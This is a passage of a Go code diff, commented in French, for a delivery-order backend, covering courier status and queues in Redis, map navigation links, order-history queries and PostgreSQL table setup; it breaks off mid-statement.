statusKey := fmt.Sprintf("delivery:status:%s", livreurUsername)
|
||||
|
||||
status, err := Redis.Get(RedisCtx, statusKey).Result()
|
||||
if err != nil {
|
||||
// Statut par défaut si non trouvé
|
||||
return "offline", nil
|
||||
}
|
||||
|
||||
return status, nil
|
||||
}
|
||||
|
||||
// UpdateDeliveryPersonStatus met à jour le statut d'un livreur
|
||||
|
||||
func (d *Database) UpdateDeliveryPersonStatus(livreurUsername string, status string) error {
|
||||
// 🔹 Valider le statut
|
||||
if !allowedStatuses[status] {
|
||||
return fmt.Errorf("statut invalide: %s", status)
|
||||
}
|
||||
|
||||
log.Printf("🔄 [UpdateStatus] Mise à jour: %s → %s", livreurUsername, status)
|
||||
|
||||
statusKey := fmt.Sprintf("delivery:status:%s", livreurUsername)
|
||||
|
||||
err := Redis.Set(RedisCtx, statusKey, status, 0).Err()
|
||||
if err != nil {
|
||||
log.Printf("❌ [UpdateStatus] Erreur Redis: %v", err)
|
||||
return fmt.Errorf("erreur mise à jour statut: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [UpdateStatus] Statut mis à jour pour %s: %s", livreurUsername, status)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📦 GESTION QUEUE LIVREUR
|
||||
// ============================================
|
||||
|
||||
// GetDeliverymanQueueSize récupère la taille de la queue d'un livreur
|
||||
func (d *Database) GetDeliverymanQueueSize(livreurUsername string) (int, error) {
|
||||
queueKey := fmt.Sprintf("delivery:queue:%s", livreurUsername)
|
||||
|
||||
size, err := Redis.LLen(RedisCtx, queueKey).Result()
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("erreur récupération taille queue: %w", err)
|
||||
}
|
||||
|
||||
return int(size), nil
|
||||
}
|
||||
|
||||
// GetDeliverymanQueue récupère la queue complète d'un livreur
|
||||
func (d *Database) GetDeliverymanQueue(livreurUsername string) ([]int, error) {
|
||||
queueKey := fmt.Sprintf("delivery:queue:%s", livreurUsername)
|
||||
|
||||
commands, err := Redis.LRange(RedisCtx, queueKey, 0, -1).Result()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération queue: %w", err)
|
||||
}
|
||||
|
||||
var queue []int
|
||||
for _, cmdStr := range commands {
|
||||
var cmdID int
|
||||
fmt.Sscanf(cmdStr, "%d", &cmdID)
|
||||
queue = append(queue, cmdID)
|
||||
}
|
||||
|
||||
return queue, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🔧 FONCTIONS UTILITAIRES
|
||||
// ============================================
|
||||
|
||||
// UpdateCommandLivreur met à jour le livreur assigné à une commande
|
||||
func (d *Database) UpdateCommandLivreur(commandID int, livreurUsername string) error {
|
||||
query := `UPDATE commandes
|
||||
SET livreur_assign = $1, updated_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $2`
|
||||
|
||||
result, err := d.Exec(query, livreurUsername, commandID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur mise à jour livreur: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("commande non trouvée")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📊 STATISTIQUES SYSTÈME
|
||||
// ============================================
|
||||
|
||||
// GetAllDeliveryPersonsStats récupère les stats de tous les livreurs
|
||||
func (d *Database) GetAllDeliveryPersonsStats() ([]map[string]interface{}, error) {
|
||||
// Récupérer tous les livreurs
|
||||
livreurs, err := d.GetAvailableDeliveryPersons()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération livreurs: %w", err)
|
||||
}
|
||||
|
||||
var stats []map[string]interface{}
|
||||
|
||||
for _, livreur := range livreurs {
|
||||
username := livreur["username"].(string)
|
||||
|
||||
// Compter les livraisons
|
||||
totalDeliveries, _ := d.CountDeliveriesByStatus(username, "")
|
||||
completedDeliveries, _ := d.CountDeliveriesByStatus(username, "approved")
|
||||
queueSize, _ := d.GetDeliverymanQueueSize(username)
|
||||
status, _ := d.GetDeliveryPersonStatus(username)
|
||||
|
||||
statEntry := map[string]interface{}{
|
||||
"username": username,
|
||||
"total_deliveries": totalDeliveries,
|
||||
"completed_deliveries": completedDeliveries,
|
||||
"queue_size": queueSize,
|
||||
"status": status,
|
||||
}
|
||||
|
||||
stats = append(stats, statEntry)
|
||||
}
|
||||
|
||||
return stats, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🔍 RECHERCHE & FILTRAGE
|
||||
// ============================================
|
||||
|
||||
// GetDeliveryPersonsByStatus récupère les livreurs par statut
|
||||
func (d *Database) GetDeliveryPersonsByStatus(status string) ([]string, error) {
|
||||
// Récupérer tous les livreurs
|
||||
livreurs, err := d.GetAvailableDeliveryPersons()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération livreurs: %w", err)
|
||||
}
|
||||
|
||||
var filteredLivreurs []string
|
||||
|
||||
for _, livreur := range livreurs {
|
||||
username := livreur["username"].(string)
|
||||
currentStatus, _ := d.GetDeliveryPersonStatus(username)
|
||||
|
||||
if currentStatus == status {
|
||||
filteredLivreurs = append(filteredLivreurs, username)
|
||||
}
|
||||
}
|
||||
|
||||
return filteredLivreurs, nil
|
||||
}
|
||||
|
||||
// GetAvailableDeliveryPersonsCount compte les livreurs disponibles
|
||||
func (d *Database) GetAvailableDeliveryPersonsCount() (int, error) {
|
||||
availableLivreurs, err := d.GetDeliveryPersonsByStatus("available")
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
return len(availableLivreurs), nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🗑️ SUPPRESSION & NETTOYAGE
|
||||
// ============================================
|
||||
|
||||
// ClearDeliveryPersonData supprime toutes les données d'un livreur (admin uniquement)
|
||||
func (d *Database) ClearDeliveryPersonData(livreurUsername string) error {
|
||||
log.Printf("🗑️ [ClearDeliveryData] Nettoyage données pour: %s", livreurUsername)
|
||||
|
||||
// Supprimer de Redis
|
||||
keys := []string{
|
||||
fmt.Sprintf("delivery:status:%s", livreurUsername),
|
||||
fmt.Sprintf("delivery:location:%s", livreurUsername),
|
||||
fmt.Sprintf("delivery:queue:%s", livreurUsername),
|
||||
fmt.Sprintf("delivery:queue:size:%s", livreurUsername),
|
||||
fmt.Sprintf("delivery:current:%s", livreurUsername),
|
||||
}
|
||||
|
||||
for _, key := range keys {
|
||||
err := Redis.Del(RedisCtx, key).Err()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [ClearDeliveryData] Erreur suppression clé %s: %v", key, err)
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("✅ [ClearDeliveryData] Données nettoyées pour %s", livreurUsername)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
// ============================================
|
||||
// db/gps_links.go
|
||||
// Génération de liens GPS vers différentes plateformes
|
||||
// ============================================
|
||||
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
// MapLinks contient les liens vers différentes plateformes de cartographie
|
||||
type MapLinks struct {
|
||||
GoogleMaps string `json:"google_maps"`
|
||||
GoogleMapsApp string `json:"google_maps_app"`
|
||||
Waze string `json:"waze"`
|
||||
WazeApp string `json:"waze_app"`
|
||||
AppleMaps string `json:"apple_maps"`
|
||||
OpenStreetMap string `json:"openstreetmap"`
|
||||
BingMaps string `json:"bing_maps"`
|
||||
HereMaps string `json:"here_maps"`
|
||||
}
|
||||
|
||||
// GenerateMapLinks génère tous les liens de cartes pour une position GPS
|
||||
func (d *Database) GenerateMapLinks(lat, lon float64, label string) MapLinks {
|
||||
// Encoder le label pour l'URL
|
||||
encodedLabel := url.QueryEscape(label)
|
||||
|
||||
return MapLinks{
|
||||
// Google Maps (Web)
|
||||
GoogleMaps: fmt.Sprintf(
|
||||
"https://www.google.com/maps?q=%.6f,%.6f&label=%s",
|
||||
lat, lon, encodedLabel,
|
||||
),
|
||||
|
||||
// Google Maps (App - Deep link)
|
||||
GoogleMapsApp: fmt.Sprintf(
|
||||
"https://maps.google.com/?q=%.6f,%.6f",
|
||||
lat, lon,
|
||||
),
|
||||
|
||||
// Waze (Web)
|
||||
Waze: fmt.Sprintf(
|
||||
"https://www.waze.com/ul?ll=%.6f,%.6f&navigate=yes",
|
||||
lat, lon,
|
||||
),
|
||||
|
||||
// Waze (App - Deep link)
|
||||
WazeApp: fmt.Sprintf(
|
||||
"waze://?ll=%.6f,%.6f&navigate=yes",
|
||||
lat, lon,
|
||||
),
|
||||
|
||||
// Apple Maps (iOS/macOS)
|
||||
AppleMaps: fmt.Sprintf(
|
||||
"http://maps.apple.com/?ll=%.6f,%.6f&q=%s",
|
||||
lat, lon, encodedLabel,
|
||||
),
|
||||
|
||||
// OpenStreetMap
|
||||
OpenStreetMap: fmt.Sprintf(
|
||||
"https://www.openstreetmap.org/?mlat=%.6f&mlon=%.6f#map=16/%.6f/%.6f",
|
||||
lat, lon, lat, lon,
|
||||
),
|
||||
|
||||
// Bing Maps
|
||||
BingMaps: fmt.Sprintf(
|
||||
"https://www.bing.com/maps?cp=%.6f~%.6f&lvl=16",
|
||||
lat, lon,
|
||||
),
|
||||
|
||||
// HERE Maps
|
||||
HereMaps: fmt.Sprintf(
|
||||
"https://wego.here.com/?map=%.6f,%.6f,16,normal",
|
||||
lat, lon,
|
||||
),
|
||||
}
|
||||
}
|
||||
|
||||
// GenerateNavigationLink génère un lien de navigation depuis une origine vers une destination
|
||||
func (d *Database) GenerateNavigationLink(fromLat, fromLon, toLat, toLon float64, platform string) string {
|
||||
switch platform {
|
||||
case "google":
|
||||
return fmt.Sprintf(
|
||||
"https://www.google.com/maps/dir/?api=1&origin=%.6f,%.6f&destination=%.6f,%.6f&travelmode=driving",
|
||||
fromLat, fromLon, toLat, toLon,
|
||||
)
|
||||
|
||||
case "waze":
|
||||
return fmt.Sprintf(
|
||||
"https://www.waze.com/ul?ll=%.6f,%.6f&navigate=yes&from=%.6f,%.6f",
|
||||
toLat, toLon, fromLat, fromLon,
|
||||
)
|
||||
|
||||
case "apple":
|
||||
return fmt.Sprintf(
|
||||
"http://maps.apple.com/?saddr=%.6f,%.6f&daddr=%.6f,%.6f",
|
||||
fromLat, fromLon, toLat, toLon,
|
||||
)
|
||||
|
||||
default:
|
||||
return fmt.Sprintf(
|
||||
"https://www.google.com/maps/dir/?api=1&origin=%.6f,%.6f&destination=%.6f,%.6f",
|
||||
fromLat, fromLon, toLat, toLon,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// GenerateMapLinksForCommand génère les liens de navigation pour une commande
|
||||
// (depuis la position du livreur vers la destination de la commande)
|
||||
func (d *Database) GenerateMapLinksForCommand(commandID int, deliverymanUsername string) (map[string]string, error) {
|
||||
// 1. Récupérer la position du livreur
|
||||
livreurLat, livreurLon, err := d.GetDeliveryPersonLocation(deliverymanUsername)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("position livreur non disponible: %w", err)
|
||||
}
|
||||
|
||||
// 2. Récupérer la destination de la commande
|
||||
command, err := d.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("commande non trouvée: %w", err)
|
||||
}
|
||||
|
||||
var destLat, destLon float64
|
||||
if command["dest_latitude"] != nil {
|
||||
if latVal, ok := command["dest_latitude"].(float64); ok {
|
||||
destLat = latVal
|
||||
}
|
||||
}
|
||||
if command["dest_longitude"] != nil {
|
||||
if lonVal, ok := command["dest_longitude"].(float64); ok {
|
||||
destLon = lonVal
|
||||
}
|
||||
}
|
||||
|
||||
if destLat == 0 && destLon == 0 {
|
||||
return nil, fmt.Errorf("coordonnées destination invalides")
|
||||
}
|
||||
|
||||
// 3. Générer les liens de navigation
|
||||
return map[string]string{
|
||||
"google_maps": d.GenerateNavigationLink(livreurLat, livreurLon, destLat, destLon, "google"),
|
||||
"waze": d.GenerateNavigationLink(livreurLat, livreurLon, destLat, destLon, "waze"),
|
||||
"apple_maps": d.GenerateNavigationLink(livreurLat, livreurLon, destLat, destLon, "apple"),
|
||||
}, nil
|
||||
}
|
||||
@@ -0,0 +1,349 @@
|
||||
// ============================================
|
||||
// db/commands_history.go
|
||||
// ============================================
|
||||
// Fonctions pour l'historique des commandes terminées
|
||||
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
// GetCompletedCommandsByUsername récupère toutes les commandes terminées (approved) d'un utilisateur
|
||||
// ✅ Retourne uniquement les commandes avec status = "approved"
|
||||
// ✅ Ordonnées par date de création décroissante (plus récentes en premier)
|
||||
func (d *Database) GetCompletedCommandsByUsername(username string) ([]map[string]interface{}, error) {
|
||||
log.Printf("📚 [GetCompletedCommands] START - username=%s", username)
|
||||
|
||||
query := `
|
||||
SELECT
|
||||
id,
|
||||
username,
|
||||
status,
|
||||
adresse,
|
||||
total_prix,
|
||||
livreur_assign,
|
||||
created_at,
|
||||
updated_at
|
||||
FROM commandes
|
||||
WHERE username = $1 AND status = 'approved'
|
||||
ORDER BY created_at DESC
|
||||
`
|
||||
|
||||
rows, err := d.Query(query, username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetCompletedCommands] Erreur query: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des commandes terminées: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var commands []map[string]interface{}
|
||||
|
||||
for rows.Next() {
|
||||
var id int
|
||||
var username, status, adresse string
|
||||
var livreurAssign sql.NullString
|
||||
var totalPrix float64
|
||||
var createdAt, updatedAt time.Time
|
||||
|
||||
err := rows.Scan(
|
||||
&id,
|
||||
&username,
|
||||
&status,
|
||||
&adresse,
|
||||
&totalPrix,
|
||||
&livreurAssign,
|
||||
&createdAt,
|
||||
&updatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetCompletedCommands] Erreur scan: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors du scan de la commande: %w", err)
|
||||
}
|
||||
|
||||
command := map[string]interface{}{
|
||||
"id": id,
|
||||
"username": username,
|
||||
"status": status,
|
||||
"adresse": adresse,
|
||||
"total_prix": totalPrix,
|
||||
"created_at": createdAt,
|
||||
"updated_at": updatedAt,
|
||||
}
|
||||
|
||||
// Ajouter livreur_assign seulement s'il n'est pas NULL
|
||||
if livreurAssign.Valid {
|
||||
command["livreur_assign"] = livreurAssign.String
|
||||
} else {
|
||||
command["livreur_assign"] = nil
|
||||
}
|
||||
|
||||
commands = append(commands, command)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
log.Printf("❌ [GetCompletedCommands] Erreur itération: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors de l'itération des résultats: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [GetCompletedCommands] %d commandes terminées trouvées pour %s", len(commands), username)
|
||||
return commands, nil
|
||||
}
|
||||
|
||||
// GetCompletedCommandsWithItems récupère les commandes terminées avec leurs items
|
||||
// ✅ Retourne les commandes approved avec tous les détails
|
||||
func (d *Database) GetCompletedCommandsWithItems(username string) ([]map[string]interface{}, error) {
|
||||
log.Printf("📚 [GetCompletedWithItems] START - username=%s", username)
|
||||
|
||||
// 1. Récupérer les commandes terminées
|
||||
commands, err := d.GetCompletedCommandsByUsername(username)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 2. Pour chaque commande, récupérer les items
|
||||
var enrichedCommands []map[string]interface{}
|
||||
|
||||
for _, command := range commands {
|
||||
commandID, ok := command["id"].(int)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
// Récupérer les items
|
||||
items, err := d.GetCommandItems(commandID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [GetCompletedWithItems] Erreur items pour cmd %d: %v", commandID, err)
|
||||
items = []map[string]interface{}{}
|
||||
}
|
||||
|
||||
// Enrichir la commande
|
||||
enrichedCommand := make(map[string]interface{})
|
||||
for k, v := range command {
|
||||
enrichedCommand[k] = v
|
||||
}
|
||||
enrichedCommand["items"] = items
|
||||
enrichedCommand["items_count"] = len(items)
|
||||
|
||||
enrichedCommands = append(enrichedCommands, enrichedCommand)
|
||||
}
|
||||
|
||||
log.Printf("✅ [GetCompletedWithItems] %d commandes enrichies", len(enrichedCommands))
|
||||
return enrichedCommands, nil
|
||||
}
|
||||
|
||||
// GetCommandsStatsByUsername récupère les statistiques des commandes d'un utilisateur
|
||||
// ✅ Compte total, approved, pending, cancelled, etc.
|
||||
func (d *Database) GetCommandsStatsByUsername(username string) (map[string]interface{}, error) {
|
||||
log.Printf("📊 [GetCommandsStats] START - username=%s", username)
|
||||
|
||||
query := `
|
||||
SELECT
|
||||
COUNT(*) FILTER (WHERE status = 'approved') as approved_count,
|
||||
COUNT(*) FILTER (WHERE status = 'pending') as pending_count,
|
||||
COUNT(*) FILTER (WHERE status = 'assigned') as assigned_count,
|
||||
COUNT(*) FILTER (WHERE status = 'en_route') as en_route_count,
|
||||
COUNT(*) FILTER (WHERE status = 'livre') as livre_count,
|
||||
COUNT(*) FILTER (WHERE status = 'cancelled') as cancelled_count,
|
||||
COUNT(*) as total_count,
|
||||
COALESCE(SUM(total_prix) FILTER (WHERE status = 'approved'), 0) as total_spent
|
||||
FROM commandes
|
||||
WHERE username = $1
|
||||
`
|
||||
|
||||
var approvedCount, pendingCount, assignedCount, enRouteCount, livreCount, cancelledCount, totalCount int
|
||||
var totalSpent float64
|
||||
|
||||
err := d.QueryRow(query, username).Scan(
|
||||
&approvedCount,
|
||||
&pendingCount,
|
||||
&assignedCount,
|
||||
&enRouteCount,
|
||||
&livreCount,
|
||||
&cancelledCount,
|
||||
&totalCount,
|
||||
&totalSpent,
|
||||
)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetCommandsStats] Erreur: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des statistiques: %w", err)
|
||||
}
|
||||
|
||||
stats := map[string]interface{}{
|
||||
"approved_count": approvedCount,
|
||||
"pending_count": pendingCount,
|
||||
"assigned_count": assignedCount,
|
||||
"en_route_count": enRouteCount,
|
||||
"livre_count": livreCount,
|
||||
"cancelled_count": cancelledCount,
|
||||
"total_count": totalCount,
|
||||
"total_spent": totalSpent,
|
||||
}
|
||||
|
||||
log.Printf("✅ [GetCommandsStats] Stats calculées: total=%d, approved=%d, spent=%.2f€",
|
||||
totalCount, approvedCount, totalSpent)
|
||||
|
||||
return stats, nil
|
||||
}
|
||||
|
||||
// GetCommandsByStatus récupère les commandes d'un utilisateur par statut
|
||||
// ✅ Permet de filtrer par un statut spécifique
|
||||
func (d *Database) GetCommandsByStatus(username, status string) ([]map[string]interface{}, error) {
|
||||
log.Printf("📋 [GetCommandsByStatus] START - username=%s, status=%s", username, status)
|
||||
|
||||
query := `
|
||||
SELECT
|
||||
id,
|
||||
username,
|
||||
status,
|
||||
adresse,
|
||||
total_prix,
|
||||
livreur_assign,
|
||||
created_at,
|
||||
updated_at
|
||||
FROM commandes
|
||||
WHERE username = $1 AND status = $2
|
||||
ORDER BY created_at DESC
|
||||
`
|
||||
|
||||
rows, err := d.Query(query, username, status)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetCommandsByStatus] Erreur query: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des commandes: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var commands []map[string]interface{}
|
||||
|
||||
for rows.Next() {
|
||||
var id int
|
||||
var username, status, adresse string
|
||||
var livreurAssign sql.NullString
|
||||
var totalPrix float64
|
||||
var createdAt, updatedAt time.Time
|
||||
|
||||
err := rows.Scan(
|
||||
&id,
|
||||
&username,
|
||||
&status,
|
||||
&adresse,
|
||||
&totalPrix,
|
||||
&livreurAssign,
|
||||
&createdAt,
|
||||
&updatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetCommandsByStatus] Erreur scan: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors du scan: %w", err)
|
||||
}
|
||||
|
||||
command := map[string]interface{}{
|
||||
"id": id,
|
||||
"username": username,
|
||||
"status": status,
|
||||
"adresse": adresse,
|
||||
"total_prix": totalPrix,
|
||||
"created_at": createdAt,
|
||||
"updated_at": updatedAt,
|
||||
}
|
||||
|
||||
if livreurAssign.Valid {
|
||||
command["livreur_assign"] = livreurAssign.String
|
||||
} else {
|
||||
command["livreur_assign"] = nil
|
||||
}
|
||||
|
||||
commands = append(commands, command)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
log.Printf("❌ [GetCommandsByStatus] Erreur itération: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors de l'itération: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [GetCommandsByStatus] %d commandes trouvées", len(commands))
|
||||
return commands, nil
|
||||
}
|
||||
|
||||
// GetRecentCompletedOrders récupère les N dernières commandes terminées d'un utilisateur
|
||||
// ✅ Utile pour afficher les dernières commandes dans le dashboard
|
||||
func (d *Database) GetRecentCompletedOrders(username string, limit int) ([]map[string]interface{}, error) {
|
||||
log.Printf("📚 [GetRecentCompleted] START - username=%s, limit=%d", username, limit)
|
||||
|
||||
query := `
|
||||
SELECT
|
||||
id,
|
||||
username,
|
||||
status,
|
||||
adresse,
|
||||
total_prix,
|
||||
livreur_assign,
|
||||
created_at,
|
||||
updated_at
|
||||
FROM commandes
|
||||
WHERE username = $1 AND status = 'approved'
|
||||
ORDER BY created_at DESC
|
||||
LIMIT $2
|
||||
`
|
||||
|
||||
rows, err := d.Query(query, username, limit)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetRecentCompleted] Erreur query: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors de la récupération: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var commands []map[string]interface{}
|
||||
|
||||
for rows.Next() {
|
||||
var id int
|
||||
var username, status, adresse string
|
||||
var livreurAssign sql.NullString
|
||||
var totalPrix float64
|
||||
var createdAt, updatedAt time.Time
|
||||
|
||||
err := rows.Scan(
|
||||
&id,
|
||||
&username,
|
||||
&status,
|
||||
&adresse,
|
||||
&totalPrix,
|
||||
&livreurAssign,
|
||||
&createdAt,
|
||||
&updatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetRecentCompleted] Erreur scan: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors du scan: %w", err)
|
||||
}
|
||||
|
||||
command := map[string]interface{}{
|
||||
"id": id,
|
||||
"username": username,
|
||||
"status": status,
|
||||
"adresse": adresse,
|
||||
"total_prix": totalPrix,
|
||||
"created_at": createdAt,
|
||||
"updated_at": updatedAt,
|
||||
}
|
||||
|
||||
if livreurAssign.Valid {
|
||||
command["livreur_assign"] = livreurAssign.String
|
||||
} else {
|
||||
command["livreur_assign"] = nil
|
||||
}
|
||||
|
||||
commands = append(commands, command)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
log.Printf("❌ [GetRecentCompleted] Erreur itération: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors de l'itération: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [GetRecentCompleted] %d commandes récentes trouvées", len(commands))
|
||||
return commands, nil
|
||||
}
|
||||
@@ -0,0 +1,335 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
_ "github.com/lib/pq"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// STRUCTURES
|
||||
// ============================================
|
||||
|
||||
// Database encapsule la connexion à la base de données
|
||||
type Database struct {
|
||||
*sql.DB
|
||||
}
|
||||
|
||||
// DB est l'instance globale de la base de données
|
||||
var DB *Database
|
||||
|
||||
// ============================================
|
||||
// INITIALISATION DE LA BASE DE DONNÉES
|
||||
// ============================================
|
||||
|
||||
// InitDB initialise la connexion à PostgreSQL et crée les tables
|
||||
func InitDB() *Database {
|
||||
// Récupérer les paramètres de connexion
|
||||
host := getEnv("DB_HOST", "localhost")
|
||||
port := getEnv("DB_PORT", "5432")
|
||||
user := getEnv("DB_USER", "postgres")
|
||||
password := getEnv("DB_PASSWORD", "postgres")
|
||||
dbname := getEnv("DB_NAME", "gestion_db")
|
||||
sslmode := getEnv("DB_SSLMODE", "disable")
|
||||
|
||||
// Construire la chaîne de connexion
|
||||
connStr := fmt.Sprintf("host=%s port=%s user=%s password=%s dbname=%s sslmode=%s",
|
||||
host, port, user, password, dbname, sslmode)
|
||||
|
||||
// Ouvrir la connexion
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
log.Fatalf("❌ Erreur lors de l'ouverture de la base de données: %v", err)
|
||||
}
|
||||
|
||||
// Configuration du pool de connexions
|
||||
db.SetMaxOpenConns(25)
|
||||
db.SetMaxIdleConns(5)
|
||||
db.SetConnMaxLifetime(5 * time.Minute)
|
||||
|
||||
// Tester la connexion
|
||||
if err = db.Ping(); err != nil {
|
||||
log.Fatalf("❌ Erreur de connexion à la base de données: %v", err)
|
||||
}
|
||||
|
||||
log.Println("✅ Connexion à PostgreSQL établie avec succès")
|
||||
|
||||
// Créer l'instance Database
|
||||
database := &Database{db}
|
||||
|
||||
// Assigner à la variable globale
|
||||
DB = database
|
||||
|
||||
// Créer les tables
|
||||
if err = database.createTables(); err != nil {
|
||||
log.Fatalf("❌ Erreur lors de la création des tables: %v", err)
|
||||
}
|
||||
|
||||
log.Println("✅ Tables créées avec succès")
|
||||
|
||||
// Lancer le nettoyage périodique des tokens expirés
|
||||
go database.cleanExpiredTokensPeriodically()
|
||||
|
||||
return database
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// CRÉATION DES TABLES
|
||||
// ============================================
|
||||
|
||||
// createTables crée toutes les tables nécessaires
|
||||
func (db *Database) createTables() error {
|
||||
queries := []string{
|
||||
|
||||
// ============================
|
||||
// TABLE users
|
||||
// ============================
|
||||
`CREATE TABLE IF NOT EXISTS users (
|
||||
id SERIAL PRIMARY KEY,
|
||||
username VARCHAR(255) UNIQUE NOT NULL,
|
||||
password TEXT NOT NULL,
|
||||
role VARCHAR(50) NOT NULL DEFAULT 'user',
|
||||
total NUMERIC(10,2) DEFAULT 0.0,
|
||||
livraison NUMERIC(10,2) DEFAULT 0.0,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
);`,
|
||||
|
||||
// ============================
|
||||
// TABLE clients - ✅ AVEC COLONNES DE TRACKING DES ANNULATIONS
|
||||
// ============================
|
||||
`CREATE TABLE IF NOT EXISTS clients (
|
||||
id SERIAL PRIMARY KEY,
|
||||
username VARCHAR(255) UNIQUE NOT NULL,
|
||||
password TEXT NOT NULL,
|
||||
nom VARCHAR(100) NOT NULL,
|
||||
prenom VARCHAR(100) NOT NULL,
|
||||
telephone VARCHAR(20) NOT NULL UNIQUE,
|
||||
command INTEGER DEFAULT 0,
|
||||
point INTEGER DEFAULT 0,
|
||||
point_zipette INTEGER DEFAULT 0,
|
||||
amende NUMERIC(10,2) DEFAULT 0.0,
|
||||
cancel_commande INTEGER DEFAULT 0,
|
||||
cancellations_count INTEGER DEFAULT 0 NOT NULL,
|
||||
last_penalty_reason TEXT DEFAULT NULL,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
);`,
|
||||
|
||||
// ============================
|
||||
// TABLE jwt_tokens
|
||||
// ============================
|
||||
`CREATE TABLE IF NOT EXISTS jwt_tokens (
|
||||
id SERIAL PRIMARY KEY,
|
||||
user_id INTEGER NOT NULL,
|
||||
user_type VARCHAR(20) NOT NULL CHECK (user_type IN ('client', 'admin', 'cabine', 'livreur')),
|
||||
token TEXT NOT NULL,
|
||||
date_save TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
date_fin TIMESTAMP NOT NULL,
|
||||
CHECK (date_fin > date_save)
|
||||
);`,
|
||||
|
||||
// ============================
|
||||
// TABLE products
|
||||
// ============================
|
||||
`CREATE TABLE IF NOT EXISTS products (
|
||||
id SERIAL PRIMARY KEY,
|
||||
name VARCHAR(255) NOT NULL,
|
||||
category VARCHAR(100) NOT NULL,
|
||||
stock DECIMAL(10,2) NOT NULL DEFAULT 0,
|
||||
description TEXT,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
);`,
|
||||
|
||||
// ============================
|
||||
// TABLE product_prices
|
||||
// ============================
|
||||
`CREATE TABLE IF NOT EXISTS product_prices (
|
||||
id SERIAL PRIMARY KEY,
|
||||
product_id INTEGER NOT NULL REFERENCES products(id) ON DELETE CASCADE,
|
||||
quantity INTEGER NOT NULL,
|
||||
price NUMERIC(10,2) NOT NULL,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE(product_id, quantity)
|
||||
);`,
|
||||
|
||||
// ============================
|
||||
// TABLE media
|
||||
// ============================
|
||||
`CREATE TABLE IF NOT EXISTS media (
|
||||
id SERIAL PRIMARY KEY,
|
||||
product_id INTEGER NOT NULL REFERENCES products(id) ON DELETE CASCADE,
|
||||
url TEXT NOT NULL,
|
||||
type VARCHAR(50) NOT NULL,
|
||||
